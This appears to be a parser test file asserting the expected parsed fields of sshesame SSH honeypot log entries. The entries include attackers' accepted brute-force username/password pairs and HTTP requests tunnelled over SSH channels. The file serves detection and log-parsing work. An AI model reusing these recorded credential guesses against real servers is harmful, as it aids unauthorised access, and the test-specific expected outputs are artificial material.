results["s01-parse"]["thespad/sshesame-logs"][264].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][264].Evt.Parsed["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][264].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][264].Evt.Parsed["timestamp"] == "2022/05/06 12:59:04" results["s01-parse"]["thespad/sshesame-logs"][264].Evt.Parsed["message"] == "2022/05/06 12:59:04 [45.82.65.44:42736] [channel 30] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][264].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][264].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][264].Evt.Meta["input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][264].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][264].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][264].Evt.Meta["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][265].Success == true results["s01-parse"]["thespad/sshesame-logs"][265].Evt.Parsed["message"] == "2022/05/06 12:59:05 [45.82.65.44:42736] [channel 30] input: \"GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][265].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][265].Evt.Parsed["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][265].Evt.Parsed["sshesame_input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][265].Evt.Parsed["timestamp"] == "2022/05/06 12:59:05" results["s01-parse"]["thespad/sshesame-logs"][265].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][265].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][265].Evt.Meta["input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][265].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][265].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][265].Evt.Meta["source_ip"] == "45.82.65.44" results["s01-parse"]["thespad/sshesame-logs"][266].Success == false results["s01-parse"]["thespad/sshesame-logs"][267].Success == false results["s01-parse"]["thespad/sshesame-logs"][268].Success == true results["s01-parse"]["thespad/sshesame-logs"][268].Evt.Parsed["message"] == "2022/05/06 13:09:34 [190.2.139.67:58629] [channel 143] input: \"GET /?requestid=12627 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][268].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][268].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][268].Evt.Parsed["sshesame_input"] == "GET /?requestid=12627 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][268].Evt.Parsed["timestamp"] == "2022/05/06 13:09:34" results["s01-parse"]["thespad/sshesame-logs"][268].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][268].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][268].Evt.Meta["input"] == "GET /?requestid=12627 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][268].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][268].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][268].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][269].Success == false results["s01-parse"]["thespad/sshesame-logs"][270].Success == false results["s01-parse"]["thespad/sshesame-logs"][271].Success == true results["s01-parse"]["thespad/sshesame-logs"][271].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][271].Evt.Parsed["sshesame_input"] == "GET /?requestid=88211 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][271].Evt.Parsed["timestamp"] == "2022/05/06 13:12:20" results["s01-parse"]["thespad/sshesame-logs"][271].Evt.Parsed["message"] == "2022/05/06 13:12:20 [190.2.139.67:58629] [channel 145] input: \"GET /?requestid=88211 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][271].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][271].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][271].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][271].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][271].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][271].Evt.Meta["input"] == "GET /?requestid=88211 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][271].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][272].Success == false results["s01-parse"]["thespad/sshesame-logs"][273].Success == false results["s01-parse"]["thespad/sshesame-logs"][274].Success == false results["s01-parse"]["thespad/sshesame-logs"][275].Success == false results["s01-parse"]["thespad/sshesame-logs"][276].Success == false results["s01-parse"]["thespad/sshesame-logs"][277].Success == true results["s01-parse"]["thespad/sshesame-logs"][277].Evt.Parsed["message"] == "2022/05/06 13:18:31 [193.105.134.95:13053] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][277].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][277].Evt.Parsed["source_ip"] == "193.105.134.95" results["s01-parse"]["thespad/sshesame-logs"][277].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][277].Evt.Parsed["timestamp"] == "2022/05/06 13:18:31" results["s01-parse"]["thespad/sshesame-logs"][277].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][277].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][277].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][277].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][277].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][277].Evt.Meta["source_ip"] == "193.105.134.95" results["s01-parse"]["thespad/sshesame-logs"][278].Success == false results["s01-parse"]["thespad/sshesame-logs"][279].Success == false results["s01-parse"]["thespad/sshesame-logs"][280].Success == true results["s01-parse"]["thespad/sshesame-logs"][280].Evt.Parsed["message"] == "2022/05/06 13:18:31 [193.105.134.95:13053] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][280].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][280].Evt.Parsed["source_ip"] == "193.105.134.95" results["s01-parse"]["thespad/sshesame-logs"][280].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][280].Evt.Parsed["timestamp"] == "2022/05/06 13:18:31" results["s01-parse"]["thespad/sshesame-logs"][280].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][280].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][280].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][280].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][280].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][280].Evt.Meta["source_ip"] == "193.105.134.95" results["s01-parse"]["thespad/sshesame-logs"][281].Success == false results["s01-parse"]["thespad/sshesame-logs"][282].Success == false results["s01-parse"]["thespad/sshesame-logs"][283].Success == false results["s01-parse"]["thespad/sshesame-logs"][284].Success == true results["s01-parse"]["thespad/sshesame-logs"][284].Evt.Parsed["sshesame_user"] == "admin" results["s01-parse"]["thespad/sshesame-logs"][284].Evt.Parsed["timestamp"] == "2022/05/06 13:25:40" results["s01-parse"]["thespad/sshesame-logs"][284].Evt.Parsed["message"] == "2022/05/06 13:25:40 [144.22.213.51:55710] authentication for user \"admin\" with password \"1234567\" accepted" results["s01-parse"]["thespad/sshesame-logs"][284].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][284].Evt.Parsed["source_ip"] == "144.22.213.51" results["s01-parse"]["thespad/sshesame-logs"][284].Evt.Parsed["sshesame_password"] == "1234567" results["s01-parse"]["thespad/sshesame-logs"][284].Evt.Meta["source_ip"] == "144.22.213.51" results["s01-parse"]["thespad/sshesame-logs"][284].Evt.Meta["target_user"] == "admin" results["s01-parse"]["thespad/sshesame-logs"][284].Evt.Meta["username"] == "admin" results["s01-parse"]["thespad/sshesame-logs"][284].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][284].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][284].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][284].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][285].Success == false results["s01-parse"]["thespad/sshesame-logs"][286].Success == false results["s01-parse"]["thespad/sshesame-logs"][287].Success == false results["s01-parse"]["thespad/sshesame-logs"][288].Success == false results["s01-parse"]["thespad/sshesame-logs"][289].Success == true results["s01-parse"]["thespad/sshesame-logs"][289].Evt.Parsed["sshesame_password"] == "aisadmin" results["s01-parse"]["thespad/sshesame-logs"][289].Evt.Parsed["sshesame_user"] == "admin" results["s01-parse"]["thespad/sshesame-logs"][289].Evt.Parsed["timestamp"] == "2022/05/06 13:48:37" results["s01-parse"]["thespad/sshesame-logs"][289].Evt.Parsed["message"] == "2022/05/06 13:48:37 [193.105.134.95:49178] authentication for user \"admin\" with password \"aisadmin\" accepted" results["s01-parse"]["thespad/sshesame-logs"][289].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][289].Evt.Parsed["source_ip"] == "193.105.134.95" results["s01-parse"]["thespad/sshesame-logs"][289].Evt.Meta["username"] == "admin" results["s01-parse"]["thespad/sshesame-logs"][289].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][289].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][289].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][289].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][289].Evt.Meta["source_ip"] == "193.105.134.95" results["s01-parse"]["thespad/sshesame-logs"][289].Evt.Meta["target_user"] == "admin" results["s01-parse"]["thespad/sshesame-logs"][290].Success == false results["s01-parse"]["thespad/sshesame-logs"][291].Success == false results["s01-parse"]["thespad/sshesame-logs"][292].Success == true results["s01-parse"]["thespad/sshesame-logs"][292].Evt.Parsed["timestamp"] == "2022/05/06 13:48:37" results["s01-parse"]["thespad/sshesame-logs"][292].Evt.Parsed["message"] == "2022/05/06 13:48:37 [193.105.134.95:49178] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][292].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][292].Evt.Parsed["source_ip"] == "193.105.134.95" results["s01-parse"]["thespad/sshesame-logs"][292].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][292].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][292].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][292].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][292].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][292].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][292].Evt.Meta["source_ip"] == "193.105.134.95" results["s01-parse"]["thespad/sshesame-logs"][293].Success == false results["s01-parse"]["thespad/sshesame-logs"][294].Success == false results["s01-parse"]["thespad/sshesame-logs"][295].Success == true results["s01-parse"]["thespad/sshesame-logs"][295].Evt.Parsed["message"] == "2022/05/06 13:48:37 [193.105.134.95:49178] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][295].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][295].Evt.Parsed["source_ip"] == "193.105.134.95" results["s01-parse"]["thespad/sshesame-logs"][295].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][295].Evt.Parsed["timestamp"] == "2022/05/06 13:48:37" results["s01-parse"]["thespad/sshesame-logs"][295].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][295].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][295].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][295].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][295].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][295].Evt.Meta["source_ip"] == "193.105.134.95" results["s01-parse"]["thespad/sshesame-logs"][296].Success == false results["s01-parse"]["thespad/sshesame-logs"][297].Success == false results["s01-parse"]["thespad/sshesame-logs"][298].Success == false results["s01-parse"]["thespad/sshesame-logs"][299].Success == true results["s01-parse"]["thespad/sshesame-logs"][299].Evt.Parsed["message"] == "2022/05/06 13:55:12 [190.2.139.67:58629] [channel 147] input: \"GET /?requestid=40353 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][299].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][299].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][299].Evt.Parsed["sshesame_input"] == "GET /?requestid=40353 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][299].Evt.Parsed["timestamp"] == "2022/05/06 13:55:12" results["s01-parse"]["thespad/sshesame-logs"][299].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][299].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][299].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][299].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][299].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][299].Evt.Meta["input"] == "GET /?requestid=40353 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][300].Success == false results["s01-parse"]["thespad/sshesame-logs"][301].Success == false results["s01-parse"]["thespad/sshesame-logs"][302].Success == true results["s01-parse"]["thespad/sshesame-logs"][302].Evt.Parsed["message"] == "2022/05/06 13:59:17 [190.2.139.67:58629] [channel 149] input: \"GET /?requestid=27608 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s01-parse"]["thespad/sshesame-logs"][302].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][302].Evt.Parsed["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][302].Evt.Parsed["sshesame_input"] == "GET /?requestid=27608 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][302].Evt.Parsed["timestamp"] == "2022/05/06 13:59:17" results["s01-parse"]["thespad/sshesame-logs"][302].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][302].Evt.Meta["source_ip"] == "190.2.139.67" results["s01-parse"]["thespad/sshesame-logs"][302].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][302].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][302].Evt.Meta["input"] == "GET /?requestid=27608 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s01-parse"]["thespad/sshesame-logs"][302].Evt.Meta["log_type"] == "sshesame_input" results["s01-parse"]["thespad/sshesame-logs"][303].Success == false results["s01-parse"]["thespad/sshesame-logs"][304].Success == true results["s01-parse"]["thespad/sshesame-logs"][304].Evt.Parsed["sshesame_password"] == "xiaoming" results["s01-parse"]["thespad/sshesame-logs"][304].Evt.Parsed["sshesame_user"] == "root" results["s01-parse"]["thespad/sshesame-logs"][304].Evt.Parsed["timestamp"] == "2022/05/06 14:28:01" results["s01-parse"]["thespad/sshesame-logs"][304].Evt.Parsed["message"] == "2022/05/06 14:28:01 [43.154.53.163:58300] authentication for user \"root\" with password \"xiaoming\" accepted" results["s01-parse"]["thespad/sshesame-logs"][304].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][304].Evt.Parsed["source_ip"] == "43.154.53.163" results["s01-parse"]["thespad/sshesame-logs"][304].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][304].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][304].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][304].Evt.Meta["source_ip"] == "43.154.53.163" results["s01-parse"]["thespad/sshesame-logs"][304].Evt.Meta["target_user"] == "root" results["s01-parse"]["thespad/sshesame-logs"][304].Evt.Meta["username"] == "root" results["s01-parse"]["thespad/sshesame-logs"][304].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][305].Success == false results["s01-parse"]["thespad/sshesame-logs"][306].Success == true results["s01-parse"]["thespad/sshesame-logs"][306].Evt.Parsed["source_ip"] == "43.154.53.163" results["s01-parse"]["thespad/sshesame-logs"][306].Evt.Parsed["sshesame_password"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][306].Evt.Parsed["sshesame_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][306].Evt.Parsed["timestamp"] == "2022/05/06 14:28:04" results["s01-parse"]["thespad/sshesame-logs"][306].Evt.Parsed["message"] == "2022/05/06 14:28:04 [43.154.53.163:58868] authentication for user \"nproc\" with password \"nproc\" accepted" results["s01-parse"]["thespad/sshesame-logs"][306].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][306].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][306].Evt.Meta["source_ip"] == "43.154.53.163" results["s01-parse"]["thespad/sshesame-logs"][306].Evt.Meta["target_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][306].Evt.Meta["username"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][306].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][306].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][306].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][307].Success == false results["s01-parse"]["thespad/sshesame-logs"][308].Success == false results["s01-parse"]["thespad/sshesame-logs"][309].Success == false results["s01-parse"]["thespad/sshesame-logs"][310].Success == false results["s01-parse"]["thespad/sshesame-logs"][311].Success == false results["s01-parse"]["thespad/sshesame-logs"][312].Success == true results["s01-parse"]["thespad/sshesame-logs"][312].Evt.Parsed["message"] == "2022/05/06 14:28:15 [87.121.6.204:49420] authentication for user \"root\" with password \"Password321\" accepted" results["s01-parse"]["thespad/sshesame-logs"][312].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][312].Evt.Parsed["source_ip"] == "87.121.6.204" results["s01-parse"]["thespad/sshesame-logs"][312].Evt.Parsed["sshesame_password"] == "Password321" results["s01-parse"]["thespad/sshesame-logs"][312].Evt.Parsed["sshesame_user"] == "root" results["s01-parse"]["thespad/sshesame-logs"][312].Evt.Parsed["timestamp"] == "2022/05/06 14:28:15" results["s01-parse"]["thespad/sshesame-logs"][312].Evt.Meta["source_ip"] == "87.121.6.204" results["s01-parse"]["thespad/sshesame-logs"][312].Evt.Meta["target_user"] == "root" results["s01-parse"]["thespad/sshesame-logs"][312].Evt.Meta["username"] == "root" results["s01-parse"]["thespad/sshesame-logs"][312].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][312].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][312].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][312].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][313].Success == false results["s01-parse"]["thespad/sshesame-logs"][314].Success == true results["s01-parse"]["thespad/sshesame-logs"][314].Evt.Parsed["timestamp"] == "2022/05/06 14:28:15" results["s01-parse"]["thespad/sshesame-logs"][314].Evt.Parsed["message"] == "2022/05/06 14:28:15 [87.121.6.204:49568] authentication for user \"nproc\" with password \"nproc\" accepted" results["s01-parse"]["thespad/sshesame-logs"][314].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][314].Evt.Parsed["source_ip"] == "87.121.6.204" results["s01-parse"]["thespad/sshesame-logs"][314].Evt.Parsed["sshesame_password"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][314].Evt.Parsed["sshesame_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][314].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][314].Evt.Meta["source_ip"] == "87.121.6.204" results["s01-parse"]["thespad/sshesame-logs"][314].Evt.Meta["target_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][314].Evt.Meta["username"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][314].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][314].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][314].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][315].Success == false results["s01-parse"]["thespad/sshesame-logs"][316].Success == false results["s01-parse"]["thespad/sshesame-logs"][317].Success == false results["s01-parse"]["thespad/sshesame-logs"][318].Success == false results["s01-parse"]["thespad/sshesame-logs"][319].Success == false results["s01-parse"]["thespad/sshesame-logs"][320].Success == true results["s01-parse"]["thespad/sshesame-logs"][320].Evt.Parsed["timestamp"] == "2022/05/06 14:30:02" results["s01-parse"]["thespad/sshesame-logs"][320].Evt.Parsed["message"] == "2022/05/06 14:30:02 [45.239.216.250:45336] authentication for user \"root\" with password \"root#1234\" accepted" results["s01-parse"]["thespad/sshesame-logs"][320].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][320].Evt.Parsed["source_ip"] == "45.239.216.250" results["s01-parse"]["thespad/sshesame-logs"][320].Evt.Parsed["sshesame_password"] == "root#1234" results["s01-parse"]["thespad/sshesame-logs"][320].Evt.Parsed["sshesame_user"] == "root" results["s01-parse"]["thespad/sshesame-logs"][320].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][320].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][320].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][320].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][320].Evt.Meta["source_ip"] == "45.239.216.250" results["s01-parse"]["thespad/sshesame-logs"][320].Evt.Meta["target_user"] == "root" results["s01-parse"]["thespad/sshesame-logs"][320].Evt.Meta["username"] == "root" results["s01-parse"]["thespad/sshesame-logs"][321].Success == false results["s01-parse"]["thespad/sshesame-logs"][322].Success == true results["s01-parse"]["thespad/sshesame-logs"][322].Evt.Parsed["sshesame_password"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][322].Evt.Parsed["sshesame_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][322].Evt.Parsed["timestamp"] == "2022/05/06 14:30:05" results["s01-parse"]["thespad/sshesame-logs"][322].Evt.Parsed["message"] == "2022/05/06 14:30:05 [45.239.216.250:46226] authentication for user \"nproc\" with password \"nproc\" accepted" results["s01-parse"]["thespad/sshesame-logs"][322].Evt.Parsed["program"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][322].Evt.Parsed["source_ip"] == "45.239.216.250" results["s01-parse"]["thespad/sshesame-logs"][322].Evt.Meta["username"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][322].Evt.Meta["datasource_path"] == "sshesame.log" results["s01-parse"]["thespad/sshesame-logs"][322].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["thespad/sshesame-logs"][322].Evt.Meta["log_type"] == "sshesame_login" results["s01-parse"]["thespad/sshesame-logs"][322].Evt.Meta["service"] == "sshesame" results["s01-parse"]["thespad/sshesame-logs"][322].Evt.Meta["source_ip"] == "45.239.216.250" results["s01-parse"]["thespad/sshesame-logs"][322].Evt.Meta["target_user"] == "nproc" results["s01-parse"]["thespad/sshesame-logs"][323].Success == false results["s01-parse"]["thespad/sshesame-logs"][324].Success == false 